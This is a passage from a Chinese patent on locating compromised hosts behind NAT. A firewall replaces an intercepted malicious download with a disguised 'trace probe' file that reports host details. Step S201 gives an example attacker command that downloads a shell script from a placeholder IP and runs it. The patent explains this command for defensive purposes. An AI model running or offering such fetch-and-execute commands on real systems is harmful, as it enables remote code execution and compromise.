掌桥专利:专业的专利平台
掌桥专利
首页

确定失陷主机的方法及装置

文献发布时间:2023-06-19 19:30:30


确定失陷主机的方法及装置

技术领域

本申请涉及计算机技术领域,尤其涉及一种确定失陷主机的方法及装置。

背景技术

网络杀伤链(killchain)中典型的网络攻击过程包括:攻击者收集主机的弱点(vulnerability)信息,弱点信息也被称为脆弱性信息;根据收集到的弱点信息确定对应的漏洞利用工具(或称为攻击工具);攻击者基于漏洞利用工具向一个作为攻击目标的主机投递攻击代码;上述主机执行该攻击代码后会引发下载并运行恶意软件;恶意软件在上述主机运行成功后,攻击服务器建立与该主机之间的远程控制通道。进一步地,攻击者基于建立的远程控制通道远程控制上述主机,并向该主机下发以执行下一步操作的命令,从而达到盗窃主机的数据、破坏主机正常运行及其发动分布式拒绝服务(distributed denial ofservice,DDoS)攻击等目的。失陷主机通常是指被攻击者通过上述过程获得控制权的主机。在获得控制权后,攻击者可能以失陷主机为跳板继续攻击企业内网的其他主机(这个过程也被称为“横向移动”),从而扩大破坏影响范围或造成更强的攻击效果。

在上述过程中,作为攻击目标的主机(简称为目标主机)会因执行攻击代码而从攻击者服务器下载恶意软件。为阻止目标主机下载恶意软件,一般的解决方案通常是通过防火墙或沙箱等安全机制从网络流量中还原出内网主机下载的文件,通过威胁检测识别出下载的恶意文件及阻断内网主机下载恶意文件。

然而在当前的网络环境中,部分网络设备是具有网络地址转换(network addresstranslation,NAT)功能的网络设备(例如内网路由器、防火墙、负载均衡(load balance,LB)设备等)。因此,内网主机在和攻击者服务器通信时,通信相关的报文会被具有NAT功能的网络设备(例如网关、内网路由器等)进行地址转换。这样,当具有安全保护功能的安全设备(如防火墙设备)截获到用于传输恶意软件的报文时,由于该报文的地址被NAT设备做了地址转换,因而安全设备无法确定下载恶意软件的内网主机的真实信息,即无法溯源到失陷主机或潜在的失陷主机,从而无法及时清除失陷主机的威胁。

发明内容

本申请提供了一种确定失陷主机的方法及装置,该方法能够在私网(或内网)中的主机经NAT设备收发报文的场景下,准确的确定出私网(或内网)中的失陷主机。

为达上述目的,本申请提供如下技术方案:

第一方面,本申请提供一种确定失陷主机的方法,该方法应用于部署在外部网络和内部网络边界的安全设备。该方法包括:截获外部网络向内部网络发送的样本文件,该样本文件是外部网络的服务器根据内部网络的目标主机的请求而提供的。响应于该样本文件是恶意文件,确定溯源探针文件。向前述目标主机发送该溯源探针文件。其中,溯源探针文件用于控制运行该溯源探针文件的主机收集该主机的主机信息并上报主机信息。其中,安全设备和内部网络中的主机之间还部署有网络地址转换(network address translation,NAT)设备。

容易看出,用于接收溯源探针文件、并运行该溯源探针文件的目标主机,即为原本用于接收被确定为恶意文件的样本文件的内部网络的主机,即目标主机。因此该目标主机即为失陷主机。这样,在私网(或内网,例如学习内网,企业内网等)中的主机经NAT设备收发报文的场景下,通过本申请所提供的方法即实现了私网(或内网)中的失陷主机(即上述目标主机)自行上报自身主机信息的目的。也即,通过该方法,能够在无需预置NAT映射关系的情况下,准确定位私网(或内网)中的失陷主机(即目标主机),从而使得用户能够对失陷主机进行处置,以解除该失陷主机带来的安全威胁。

在一种可能的设计方式中,在上述确定溯源探针文件之前,上述方法还包括:获取溯源探针文件库。则上述确定溯源探针文件包括:在该溯源探针文件库中匹配与上述样本文件的文件类型相同的溯源探针模板文件,以得到上述溯源探针文件。其中,溯源探针文件库中包括多个不同类型的溯源探针模板文件。

在本申请中,恶意文件的类型例如可以是web、pe、pdf、lnk、elf、office、bash、python、shell等类型的文件。因此,本申请提供的溯源探针模板文件也包括web、pe、pdf、lnk、elf、office、bash、python、shell等多种类型的溯源探针模板文件,这样,通过该可能的设计,使得本申请方法能够在失陷主机请求下载不同类型的恶意文件时,均能快速定位失陷主机,即应用范围广泛。

在另一种可能的设计方式中,上述在该溯源探针文件库中匹配与上述样本文件的文件类型相同的溯源探针模板文件,以得到上述溯源探针文件,包括:将与上述样本文件的文件类型相同的溯源探针模板文件的副本文件的名称,重命名为上述样本文件的文件名称,即得到上述溯源探针文件。

通过该可能的设计,当与样本文件对应的溯源探针文件的文件类型和文件名称,均与该样本文件相同,则目标主机在接收到该溯源探针文件时,可以无感知的运行该溯源探针文件,从而收集自身的主机信息,并上报收集到的主机信息。

在另一种可能的设计方式中,上述溯源探针文件中包括目标网络设备的地址信息,该目标网络设备包括上述安全设备,该目标网络设备用于接收上述目标主机上报的主机信息。

通过该可能的设计方式,安全设备可以直接接收到目标主机(即失陷主机)上报的主机信息,从而实现对失陷主机的定位,进而可以对用户或管理员进行攻击告警,以使用户及时对失陷主机进行处置,以解除该失陷主机带来的安全威胁。

在另一种可能的设计方式中,上述获取溯源探针文件库包括:接收用户输入的溯源探针文件库。

通过该可能的设计,本申请提供的方法可以基于用户自定义的溯源探针文件库,确定出用于替换第一报文中恶意文件的溯源探针文件,从而提高了用户使用本申请所提供方法时的灵活性及使用体验。

在另一种可能的设计方式中,上述确定溯源探针文件包括:向云端设备发送溯源探针文件获取请求,该溯源探针文件获取请求用于云端设备确定上述的溯源探针文件,该溯源探针文件获取请求中包括上述样本文件的文件信息。接收云端设备返回的溯源探针文件。其中,样本文件的文件信息包括该样本文件的文件名称和/或文件类型。

通过该可能的设计,通过云端设备来执行确定溯源探针文件的算法,可以减少用于执行本申请所提供方法的安全设备的资源消耗。

在另一种可能的设计方式中,上述的溯源探针文件中包括目标网络设备的地址信息,该目标网络设备包括上述安全设备或上述云端设备,该目标网络设备用于接收目标主机上报的主机信息。

在另一种可能的设计方式中,该目标网络设备为上述安全设备时,上述方法还包括:确定上述主机信息和上述样本文件的关联关系。

通过该可能的设计方式,安全设备不但能接收到失陷主机上报的主机信息,还能确定该失陷主机请求下载的样本文件(即被确定为恶意文件的样本文件)。基于此,可以使用户针对性的制定出处理该失陷主机的处置方案,从而实现高效的对失陷主机进行处理,以快速解除失陷主机带来的安全威胁。

在另一种可能的设计方式中,上述的主机信息包括:目标主机的地址信息、进程信息、网关信息、登录目标主机的用户信息、或收集到主机信息的时间信息中的至少一种。

第二方面,本申请提供了一种确定失陷主机的装置。

在一种可能的设计方式中,该确定失陷主机的装置用于执行上述第一方面提供的任一种方法。本申请可以根据上述第一方面提供的任一种方法,对该确定失陷主机的装置进行功能模块的划分。例如,可以对应各个功能划分各个功能模块,也可以将两个或两个以上的功能集成在一个处理模块中。示例性的,本申请可以按照功能将该确定失陷主机的装置划分为截获单元、确定单元以及发送单元等。上述划分的各个功能模块执行的可能的技术方案和有益效果的描述均可以参考上述第一方面或其相应的可能的设计提供的技术方案,此处不再赘述。

在另一种可能的设计中,该确定失陷主机的装置包括:存储器、网络接口和一个或多个处理器,该一个或多个处理器通过网络接口接收或发送数据,该一个或多个处理器被配置为读取存储在存储器中的程序指令,以执行如第一方面及其任一种可能的设计方式提供的任一种方法。

第三方面,本申请提供一种确定失陷主机的系统,该系统包括:云端设备和部署于外部网络和内部网络边界的安全设备。其中,安全设备,用于截获外部网络向内部网络发送的样本文件,该样本文件是外部网络的服务器根据内部网络的目标主机的请求而提供的;以及,响应于该样本文件是恶意文件,向云端设备发送包括该样本文件的文件信息的溯源探针文件获取请求。云端设备,用于接收该溯源探针文件获取请求,并根据该请求中携带的文件信息、和溯源探针文件库确定溯源探针文件,并向安全设备返回确定出的溯源探针文件。安全设备,还用于接收云端设备返回的溯源探针文件,以及,向目标主机发送该溯源探针文件。其中,样本文件的文件信息包括该样本文件的文件名称和/或文件类型。溯源探针文件库中包括多个不同类型的溯源探针模板文件。溯源探针文件用于控制运行该溯源探针文件的主机收集该主机的主机信息并上报主机信息。

在一种可能的设计方式中,上述安全设备,还用于接收目标主机上报的主机信息,以及,用于确定该主机信息和上述样本文件的关联关系。

在一种可能的设计方式中,上述云端设备,还用于接收目标主机上报的主机信息,以及,用于确定该主机信息和上述样本文件的关联关系。上述安全设备,还用于从云端设备获取具有关联关系的主机信息和样本文件的文件信息。

在一种可能的设计方式中,上述主机信息包括:上述目标主机的地址信息、进程信息、网关信息、登录该目标主机的用户信息、或收集到该主机信息的时间信息中的至少一种。

可以理解,第三方面及其任一种可能的实现方式提供的任一种确定失陷主机的系统所带来的有益效果,可以参考第一方面中对应方法的有效效果的描述,这里不再赘述。

第四方面,本申请提供了一种计算机可读存储介质,该计算机可读存储介质包括程序指令,当程序指令在计算机或处理器上运行时,使得计算机或处理器执行第一方面中的任一种可能的实现方式提供的任一种方法。

第五方面,本申请提供了一种计算机程序产品,当其在确定失陷主机的装置上运行时,使得第一方面中的任一种可能的实现方式提供的任一种方法被执行。

第六方面,本申请提供了一种芯片,包括存储器和处理器。其中,存储器用于存储计算机指令,处理器用于从存储器中调用并运行该计算机指令,以执行上述第一方面及其第一方面任意可能的实现方式中的方法。

可以理解的是,上述提供的任一种装置、系统、计算机存储介质、计算机程序产品或芯片等均可以应用于上文所提供的对应的方法,因此,其所能达到的有益效果可参考对应的方法中的有益效果,此处不再赘述。

在本申请中,上述确定失陷主机的装置和系统的名字对设备或功能模块本身不构成限定,在实际实现中,这些设备或功能模块可以以其他名称出现。只要各个设备或功能模块的功能和本申请类似,属于本申请权利要求及其等同技术的范围之内。

附图说明

图1为本申请实施例提供的一种网络系统的架构示意图;

图2为本申请实施例提供的一种安全设备的硬件结构示意图;

图3为本申请实施例提供的一种确定失陷主机的方法流程示意图;

图4为本申请实施例提供的另一种确定失陷主机的方法流程示意图;

图5为本申请实施例提供的一种配置溯源探针文件库的示意图;

图6为本申请实施例提供一种网络架构的示意图;

图7为本申请实施例提供的又一种确定失陷主机的方法流程示意图;

图8为本申请实施例提供的一种确定失陷主机的装置的结构示意图。

具体实施方式

为了更清楚的理解本申请实施例,下面对本申请实施例中涉及的部分术语或技术进行说明:

1)、NAT

具有NAT功能的网络设备(简称NAT设备),至少配置有一个互联网协议(internetprotocol,IP)地址。作为示例,NAT设备可以是内网路由器、防火墙设备、LB设备等。

当私网(或内网)的主机经NAT设备发送报文时,私网(或内网)中的NAT设备会对主机发送的报文进行地址转换,即将报文中的源地址(即主机在私网(或内网)中的IP地址),转换为NAT设备的IP地址。这里,NAT设备的IP地址例如可以是该NAT设备在公网中的IP地址,当然不限于此。然后,NAT设备对地址转换后的报文进行转发。

当NAT设备接收到报文时,将该报文中的目的地址(即为该NAT设备的IP地址)转换为私网(或内网)中主机的IP地址,并将地址转换后的报文转发至主机。

可以看出,当NAT设备的IP地址是该NAT设备在公网中的IP地址时,私网(或内网)中的主机可以共用NAT设备的IP地址来访问公网。这样,在当前IP地址数量有限的情况下,NAT可以解决IP地址不够用的问题。并且,NAT屏蔽了私网(或内网)用户的真实地址,提高了私网(或内网)用户的安全性。

NAT可以分为静态转换和动态转换。其中,静态转换是指NAT设备管理的主机均共用一个IP地址,即NAT设备所管理的主机在经NAT设备发送报文时,NAT设备将报文中的源地址均转换为同一个IP地址。动态转换是指NAT设备管理的主机可以映射不同的IP地址,即在不同时刻,NAT设备所管理的主机在经NAT设备发送报文时,NAT设备能够将报文中的源地址转换为不同的IP地址。

应理解,NAT设备可以记录包括有NAT映射关系的日志,也可以不记录包括有NAT映射关系的日志。其中,NAT映射关系即为主机在私网(或内网)的地址和被NAT设备转换后的IP地址之间的映射关系。

2)、失陷主机

失陷主机通常是指被攻击者获得控制权的主机。在本申请实施例中,失陷主机还包括漏洞被攻击者利用而可能成为失陷主机的主机。更具体地,本申请实施例中的失陷主机是指与攻击服务器通信的主机,既包括从攻击服务器下载恶意软件的主机,也包括基于建立的远程控制通道远程控制上述主机接收攻击服务器命令的主机。

3)、其他术语

在本申请的实施例中,术语“第一”、“第二”并不是表示顺序关系,而是为了区别不同的对象,以下文件中提到的第一、第二等也是为了区别不同的报文等,而不能理解为指示或暗示相对重要性或者隐含指明所指示的技术特征的数量。

还应理解,在本申请的各个实施例中,各个过程的序号的大小并不意味着执行顺序的先后,各过程的执行顺序应以其功能和内在逻辑确定,而不应对本申请实施例的实施过程构成任何限定。

在私网(或内网,即内部网络)的主机经NAT设备收发报文的场景下,当目标主机因执行攻击代码而需要从攻击者服务器下载恶意软件时,目标主机即经NAT设备向攻击者服务器发送文件下载请求报文,以请求下载恶意软件。为了阻止目标主机下载恶意软件,安全设备(例如防火墙设备)可以对从公网拦截的报文进行恶意文件检测。

当安全设备检测到拦截的报文中所传输的文件是恶意文件,则可以确定请求下载该文件的主机为失陷主机。然而在私网(或内网)的主机与外部网络之间的通信经过NAT设备的场景下,安全设备仅能确定出发送恶意文件下载请求报文的IP地址是内部网络中NAT设备的IP地址,而无法确定出真正发送恶意文件下载请求报文的内网中的目标主机的IP地址。

为确定出内网中请求下载恶意文件(即上述的恶意软件)的目标主机的IP地址,安全设备可以根据预置的NAT映射关系和用以承载恶意文件的报文的目的地址,确定出的真正发送恶意文件下载请求报文的内网中的目标主机的IP地址。也即,安全设备通过这种方案能够确定出失陷主机的IP地址,即实现了对失陷主机的定位。其中,安全设备预置的NAT映射关系为预先从目标主机所在内网中的NAT设备获取的NAT映射关系,该NAT映射关系的说明可以参考上文描述,这里不做赘述。

然而,对于部分NAT设备而言,其不具备记录NAT映射关系的功能,或者不具备向安全设备发送记录到的NAT映射关系的功能。这样的话,安全设备很难获取到NAT设备的NAT映射关系。此外,对于动态NAT技术而言,用于记录NAT映射关系的日志的数量很大、且时效性短,这样会导致上述方案在实施时的成本很高。

基于此,本申请实施例提供了一种确定失陷主机的方法,该方法应用于部署在外部网络和内部网络边界的安全设备。该方法通过安全设备在检测出从外部网络(例如公网)接收到的报文中所传输的样本文件是恶意文件后,则为该样本文件确定出对应的溯源探针文件,并经NAT设备将该溯源探针文件发送至请求下载该样本文件的目标主机。其中,该溯源探针文件用于控制运行该溯源探针文件的主机收集自身的主机信息,并上报该主机信息。如此,目标主机在接收到溯源探针文件后,运行该溯源探针文件以收集自身的主机信息,并上报自身的主机信息。作为示例,该主机信息包括目标主机的地址信息(例如IP地址或者媒体存取控制地址(media access control address,MAC)等)、进程信息(例如正在运行的进程标识、与进程相关的应用、进程耗费的内存量和中央处理单元(centralprocessing unit,CPU)资源量等)、网关信息(例如配置的默认网关的地址)、登录目标主机的用户信息、或采集到目标主机的主机信息的时间信息等中的至少一种。

应理解,用于接收溯源探针文件的目标主机也即原本用于接收上述样本文件的主机,即该目标主机为失陷主机。这样,通过该方法,能够在私网(或内网)中的主机经NAT设备收发报文的场景下,实现私网(或内网)中的失陷主机(即上述目标主机)自行上报自身主机信息的目的,这样使得接收到该主机信息的设备能够准确地定位内网中的失陷主机,从而得以及时地对用户或管理员发出攻击告警,进而使得用户或管理员能够及时对该失陷主机进行处置,以解除该失陷主机带来的安全威胁。

此外,本申请实施例提供的方法还能确定出上述主机信息所指示的失陷主机请求下载的样本文件(即恶意文件)。基于此,能够使用户针对性的制定出处理该失陷主机的处置方案,从而实现高效的对失陷主机进行处理,以快速解除失陷主机带来的安全威胁。

本申请实施例还提供一种网络系统,上述确定失陷主机的方法可以应用于该网络系统。

参考图1,图1示出了本身申请实施例提供的一种网络系统10的架构示意图。网络系统10中的设备通过私网(或内网)进行连接通信。可选地,该私网(或内网)例如是企业内网,学校内网等,本申请实施例对此不作限定。

如图1所示,网络系统10包括多个内网主机、至少一个NAT设备、以及安全设备101。其中,该多个内网主机例如包括内网主机1、内网主机2、内网主机3、内网主机4等。至少一个NAT设备例如包括NAT设备102和NAT设备103。安全设备101位于外部网络(例如公网))和上述内网的边界。

如图1所示,内网主机1和内网主机2分别依次经NAT设备102、安全设备101访问外部网络中的第三方服务器11,内网主机3和内网主机4分别依次经NAT设备103、安全设备101访问外部网络中的第三方服务器11。

其中,安全设备101具有检测恶意文件的功能,或者,安全设备101与具有检测恶意文件功能的安全装置连接通信,这里不作限定。示例性的,安全设备101是具有检测恶意文件的功能的防火墙设备,或者是具有检测恶意文件功能的网关设备等,本申请实施例对此不作限定。又示例性的,该安全装置例如是能够提供检测恶意文件功能的功能服务器等。

基于图1所示的网络系统10,下面对网络系统10中的内网主机与外部网络(例如公网)中的第三方服务器11进行通信的流程进行简单介绍:

如图1所示,当该多个内网主机中的任一个内网主机,例如内网主机1和第三方服务器11通信时,内网主机1先生成目的地址为第三方服务器11地址的报文,并将该报文发送至NAT设备102。接着,NAT设备102对接收到的报文进行地址转换(即将该报文中的源地址(即内网主机1在内网/私网中的地址)和源端口号分别转换为NAT设备102的IP地址和为内网主机1分配的端口号,并记录转换前后IP地址和端口号之间的映射关系),并将地址转换后的报文经安全设备101发送至第三方服务器11。

相应的,当NAT设备102接收到经安全设备101转发的来自第三方服务器11的报文时,对该报文进行地址转换(即将该报文中的目的地址(即NAT设备的IP地址)和端口号分别转换为此前映射的内网主机1在内网/私网中的地址和端口号),并将地址转换后的报文转发至内网主机1。这样,即实现了内网主机1和公网中第三方服务器11之间的通信。

应理解的是,安全设备101在转发报文时,也可以进行地址转换,即安全设备101也可以是NAT设备,这里不作限定。

本申请实施例还提供一种确定失陷主机的装置,可选地,该装置是上述网络系统10中的安全设备101,或者是安全设备101的一个功能模块,本申请实施例对此不作限定。其中,安全设备101的相关描述可以参考上文,这里不作赘述。

以确定失陷主机的装置是安全设备101为例,参考图2,图2示出了本申请实施例提供一种安全设备101的硬件结构示意图。

如图2所示,安全设备101包括处理器1011、存储器1012、网络接口1013以及总线1014。处理器1011、存储器1012、网络接口1013之间通过总线1014连接。可选地,安全设备101还包括输入输出接口1015,输入输出接口1015通过总线1014与处理器1011、存储器1012、网络接口1013等进行通信。

处理器1011是安全设备101的控制中心,可以是一个通用CPU,处理器1011还可能是其他通用处理器、数字信号处理器(digital signal processing,DSP)、专用集成电路(application-specific integrated circuit,ASIC)、现场可编程门阵列(field-programmable gate array,FPGA)或者其他可编程逻辑器件、分立门或者晶体管逻辑器件、分立硬件组件、图形处理器(graphics processing unit,GPU)、神经网络处理单元(neuralprocessing unit,NPU)、张量处理器(tensor processing unit,TPU)或人工智能(artificial intelligent)芯片、数据处理器(data processing unit,DPU)等。

作为一个示例,处理器1011可以包括一个或多个CPU,例如图2中所示的CPU 0和CPU 1。此外,本申请并不限定每个处理器中处理器核的个数。

存储器1012用于存储程序指令或应用进程所要访问的数据,处理器1011可以通过执行存储器1012中的程序指令,以实现本申请实施例提供的确定失陷主机的方法。

存储器1012包括易失性存储器或非易失性存储器,或可包括易失性和非易失性存储器两者。其中,易失性存储器可以是只读存储器(read-only memory,ROM)、可编程只读存储器(programmable ROM,PROM)、可擦除可编程只读存储器(erasable PROM,EPROM)、电可擦除可编程只读存储器(electrically EPROM,EEPROM)或闪存。易失性存储器可以是随机存取存储器(random access memory,RAM),其用作外部高速缓存。通过示例性但不是限制性说明,许多形式的RAM可用,例如静态随机存取存储器(static RAM,SRAM)、动态随机存取存储器(DRAM)、同步动态随机存取存储器(synchronous DRAM,SDRAM)、双倍数据速率同步动态随机存取存储器(double data date SDRAM,DDR SDRAM)、增强型同步动态随机存取存储器(enhanced SDRAM,ESDRAM)、同步连接动态随机存取存储器(synchlink DRAM,SLDRAM)和直接内存总线随机存取存储器(direct rambus RAM,DR RAM)。非易失性存储器可以是储存级内存(storage class memory,SCM)、固态硬盘(solid state drive,SSD)、机械硬盘(hard disk drive,HDD)等。其中,储存级内存例如可以是非易失性内存(non-volatilememory,NVM)、相变化内存(phase-change memory,PCM)、持久化内存等。

在一种可能的实现方式中,存储器1012独立于处理器1011存在。存储器1012通过总线1014与处理器1011相连接,用于存储数据、指令或者程序代码。处理器1011调用并执行存储器1012中存储的指令或程序代码时,能够实现本申请实施例提供的确定失陷主机的方法。

在另一种可能的实现方式中,存储器1012和处理器1011集成在一起。

网络接口1013,用于安全设备101与其他设备(如NAT设备等)通过通信网络连接,所述通信网络可以是以太网,无线接入网(radio access network,RAN),无线局域网(wireless local area networks,WLAN)等。网络接口1013包括用于接收数据/报文的接收单元,以及用于发送数据/报文的发送单元。

总线1014,可以是工业标准体系结构(industry standard architecture,ISA)总线、外部设备互连(peripheral component interconnect,PCI)总线、高速串行计算机扩展总线(peripheral component interconnect express,PCIe)、计算快速链路(computeexpress link,CXL)或扩展工业标准体系结构(extended industry standardarchitecture,EISA)总线等。该总线可以分为地址总线、数据总线、控制总线等。为便于表示,图2中仅用一条粗线表示,但并不表示仅有一根总线或一种类型的总线。

输入输出接口1015,用于实现用户和安全设备101之间的人机交互。例如实现用户和安全设备101之间的文字交互或语音交互等。

其中,输入输出接口1015包括用于实现用户向安全设备101输入信息的输入接口,以及包括用于实现安全设备101向用户输出信息的输出接口。

作为示例,输入接口例如包括触摸屏、键盘、鼠标或麦克风等,输出接口例如包括显示屏、扬声器等。其中,触摸屏、键盘或鼠标用于输入文字/图像信息,麦克风用于输入语音信息,显示屏用于输出文字/图像信息,扬声器用于输出语音信息。

需要指出的是,图2中示出的结构并不构成对安全设备101的限定,除图2所示部件之外,该安全设备101包括比图2所示更多或更少的部件,或者组合某些部件,或者不同的部件布置。

下面结合附图3,对本申请实施例提供的确定失陷主机的方法进行说明。

参考图3,图3示出了本申请实施例提供的一种确定失陷主机的方法流程示意图。可选的,该方法应用于图1所示的网络系统中,并由具有图2所示硬件结构的安全设备101执行,该方法包括步骤S101-S103。

S101、安全设备截获外部网络向内部网络发送的样本文件。

其中,该安全设备位于该外部网络和内部网络的边界。该安全设备所截获的外部网络向内部网络发送的样本文件,是该外部网络的服务器根据该内部网络的任一个内网主机的请求而向该内部网络发送的样本文件。

可选的,安全设备所截获的样本文件通过报文承载。

S102、响应于上述样本文件是恶意文件,安全设备确定溯源探针文件。

具体的,当安全设备确定上述截获的样本文件是恶意文件,则确定与该样本文件对应的溯源探针文件。

其中,该溯源探针文件用于控制运行该溯源探针文件的主机收集自身的主机信息,并上报该主机信息。

S103、安全设备向目标主机发送上述确定的溯源探针文件。

具体的,安全设备经NAT设备向目标主机发送上述确定的溯源探针文件。

作为响应,目标主机经NAT设备接收到安全设备发送的溯源探针文件。进而,目标主机运行该溯源探针,以收集自身的主机信息,并上报该主机信息。

其中,该目标主机即为上述内部网络中原本用于接收安全设备在S101所截获样本文件的内网主机。在安全设备在S101所截获的样本文件是恶意文件时,该目标主机即为失陷主机。这样的话,即实现了失陷主机(目标主机)自行上报自身主机信息的目的。

可以看出,通过本申请实施例提供的S101-S103所述的确定实现主机的方法,能够在私网(或内网)中的主机经NAT设备收发报文的场景下,实现私网(或内网)中的失陷主机(即上述目标主机)自行上报自身主机信息的目的,这样使得接收到该主机信息的设备能够准确地定位内部网络中的失陷主机,从而得以及时地对用户或管理员发出攻击告警,进而使得用户或管理员对该失陷主机进行处置,以解除该失陷主机带来的安全威胁。

下面结合附图,对本申请实施例提供的确定失陷主机的方法进行详细说明。

参考图4,图4示出了本申请实施例提供的另一种确定失陷主机的方法流程示意图。可选地,该方法应用于图1所示的网络系统中。图4中的安全设备具有如图2所示的硬件结构。图4以时序交互图的方式对图3所示的方法进行进一步的说明。图4所示的确定失陷主机的方法包括步骤S201至S206。

S201、内网主机1经NAT设备向攻击者服务器发送文件下载请求。

应理解,在内网主机1(例如图1所示的内网主机1)受到攻击者服务器(例如图1所示的第三方服务器11)的攻击时,内网主机1会执行攻击者服务器投递的攻击代码/命令,并根据所执行的攻击代码/命令,向攻击者服务器发送文件下载请求,以请求下载攻击代码/命令所指示的文件。

作为示例,内网主机1执行的攻击命令例如是:curl–O http://122.122.122.122:80/a.sh;sh a.sh。其中,“http”表示通过超文本传输协议(Hyper Text TransferProtocol,HTTP)来发送文件下载请求。“122.122.122.122:80”表示提供文件下载的攻击者服务器的IP地址和端口信息。“a”表示待下载文件的名称。“.sh”表示待下载文件的类型。“curl–O”表示从地址信息为“122.122.122.122:80”处下载文件“a.sh”的指令。“;sh a.sh”表示执行下载到的“a.sh”文件的指令。

具体的,内网主机1向攻击者服务器发送的文件下载请求经NAT设备(例如图1所示的NAT设备102)转发时,NAT设备对该文件下载请求进行地址转换,然后再经安全设备(例如图1所示的安全设备101)将地址转换后的文件下载请求发送至攻击者服务器。

作为示例,结合图1,假设内网主机1的IP地址是100.100.100.100,NAT设备102的IP地址是200.200.200.200,则NAT设备102将从内网主机1接收到的文件下载请求中的源地址“100.100.100.100”转换为“200.200.200.200”,然后将转换地址后的文件下载请求经安全设备(例如图1所示的安全设备101)转发至攻击者服务器。

可选的,安全设备在对从NAT设备接收到的文件下载请求进行转发时,也能对该文件下载请求的源地址进行地址转换,即将该文件下载请求的源地址转换为安全设备在公网中的IP地址,本申请实施例对此不作限定。

S202、攻击者服务器响应上述文件下载请求,经安全设备向内网主机1发送第一报文。其中,第一报文用于传输该文件下载请求所请求下载的文件。

可以理解,当攻击者服务器接收到经安全设备转发的来自内网主机1的文件下载请求后,则响应该文件下载请求。可选的,攻击者服务器将该文件下载请求所请求下载的文件通过报文流的形式,经安全设备发送至内网主机1。

为清楚描述,本申请实施例在下文中将第一报文所传输的文件称为样本文件。

S203、安全设备截获第一报文,并确定第一报文所传输的样本文件是恶意文件。

在一些实施例中,安全设备能够对接收到的每个报文所传输的文件进行恶意文件检测,以确定接收到报文所传输的文件是否是恶意文件。下面以安全设备接收到的报文是第一报文为例进行说明。

可选的,安全设备中预置有恶意文件特征库。这样,安全设备在截获用于承载样本文件的第一报文后,将报文流的载荷内容(payload)与该恶意文件特征库中的特征进行匹配,并根据匹配结果确定第一报文所传输的样本文件是否是恶意文件。可选地,恶意文件特征库中包含已知恶意文件的哈希值,或者已知恶意文件的内容特征。在实际场景中,安全设备通常对用于传输样本文件的多个报文进行分片重组后得到至少一部分样本文件后,将得到的样本文件与恶意文件特征库中的特征进行匹配。

若安全设备基于第一报文的报文流载荷内容在恶意特征文件库中匹配到对应的特征,则确定第一报文所传输的样本文件是恶意文件,执行S204。

若安全设备基于第一报文的报文流载荷内容在恶意特征文件库中未匹配到对应的特征,则确定第一报文所传输的样本文件不是恶意文件,此时,安全设备对第一报文进行正常转发。

可选地,恶意文件的检测手段包括沙箱检测、AI检测等等。在这里不对恶意文件的检测方式进行具体限定。

在另一些实施例中,安全设备与预置有恶意文件特征库的另一网络设备连接通信。这样,安全设备即可将第一报文中所传输的样本文件发送至该网络设备,或者将用于指示第一报文中所传输样本文件的文件信息(该文件信息例如包括文件的哈希值或特征,当然还可以包括文件的名称、类型、大小、制作时间等其他辅助特征)发送至该网络设备。

接着,该网络设备即可基于接收到的样本文件或样本文件的文件信息,在预置的恶意特征文件库中进行特征匹配,以确定该样本文件是否是恶意文件。这里,网络设备基于样本文件或样本文件的文件信息,在预置的恶意特征文件库中进行特征匹配,以确定该样本文件是否是恶意文件的详细描述,可以参考上述安全设备基于自身预置的恶意文件特征库确定第一报文所传输的样本文件是否是恶意文件的描述,不再赘述。

当该网络设备确定接收到的样本文件是恶意文件,或者确定接收到的文件信息所指示的样本文件是恶意文件,则向安全设备返回该样本文件是恶意文件的结果;当该网络设备确定接收到的样本文件不是恶意文件,或者确定接收到的文件信息所指示的样本文件不是恶意文件,则向安全设备返回该样本文件不是恶意文件的结果。

应理解,当安全设备确定截获到的第一报文所传输的样本文件是恶意文件,则确定用于接收第一报文的内网主机1为失陷主机,也即本申请实施例所述的目标主机。

S204、当安全设备确定第一报文所传输的样本文件是恶意文件,则确定与该样本文件对应的溯源探针文件。

其中,该溯源探针文件用于控制运行该溯源探针文件的主机收集自身的主机信息并上报该主机信息。

可选的,该溯源探针文件是与安全设备所截获样本文件的文件类型相同的溯源探针文件。可选的,该溯源探针文件是与安全设备所截获样本文件的文件类型、文件名称均相同的溯源探针文件。为清楚描述,下文中以溯源探针文件是与安全设备所截获样本文件的文件类型、文件名称均相同的溯源探针文件为例进行说明。

具体的,安全设备根据截获到的样本文件的类型,在预先配置的溯源探针库文件库中确定与该样本文件的类型相同的溯源探针模板文件。然后,安全设备将与该样本文件的文件类型相同的溯源探针模板文件的副本文件重命名为该样本文件的文件名称。这样,即得到了与该样本文件的文件类型、文件名称均相同的溯源探针文件,该溯源探针文件即为与该样本文件对应的溯源探针文件。

其中,安全设备配置溯源探针文件库的说明可以参考下文,这里不作赘述。该溯源探针文件库中包括多个不同类型的溯源探针模板文件。例如,溯源探针文件库中包括web、pe、pdf、lnk、elf、office、bash、python、shell等文件类型的溯源探针模板文件。溯源探针文件库中的溯源探针模板文件可以理解为可执行文件。当溯源探针模板文件被主机运行时,能够收集运行该溯源探针模板文件的主机的主机信息,以及控制该主机上报该主机信息。这里,主机信息的描述可以参考上文,这里不再赘述。

应理解,与样本文件对应的溯源探针文件中配置有目标网络设备的地址信息,该目标网络设备用于接收目标主机上报的主机信息。可选的,该目标网络设备的地址信息包括IP地址和端口号。

具体的,该目标网络设备能够与内网主机1建立通信连接。作为示例,该目标网络设备和内网主机1之间能够建立的通信连接,例如可以是传输控制协议(transmissioncontrol protocol,TCP)通信连接,或者是HTTP通信连接,本申请实施例对此不作限定。

这样,当内网主机1(即目标主机)执行/运行溯源探针文件后,即基于溯源探针文件中配置的目标网络设备的地址信息,建立与该目标网络设备之间的通信连接,以及基于该通信连接将收集到的自身的主机信息上报至该标网络设备。

可选的,上述目标网络设备的地址信息,可以是在确定与样本文件对应的溯源探针文件时配置在该溯源探针文件中的,也可以是在配置溯源探针文件库时在每个溯源探针模板文件配置的,对此不作限定。

应理解,任意能与内网主机1建立TCP或HTTP通信连接的设备的地址信息,均可被配置为溯源探针文件中目标网络设备的地址信息。

作为示例,上述目标网络设备可以是图1所示网络系统10中的安全设备101,则安全设备101的地址信息被配置为溯源探针文件中目标网络设备的地址信息。在这种情况下,该目标网络设备的地址信息中的端口号,是安全设备101为接收失陷主机的主机信息预留的专用端口的端口号。

然而,同类型的恶意文件包括具有不同攻击功能的恶意文件。因此,仅根据样本文件(即被确定为恶意文件的样本文件)的文件类型确定的溯源探针文件,可能与多个同类型、但具有不同攻击性能的恶意文件对应。

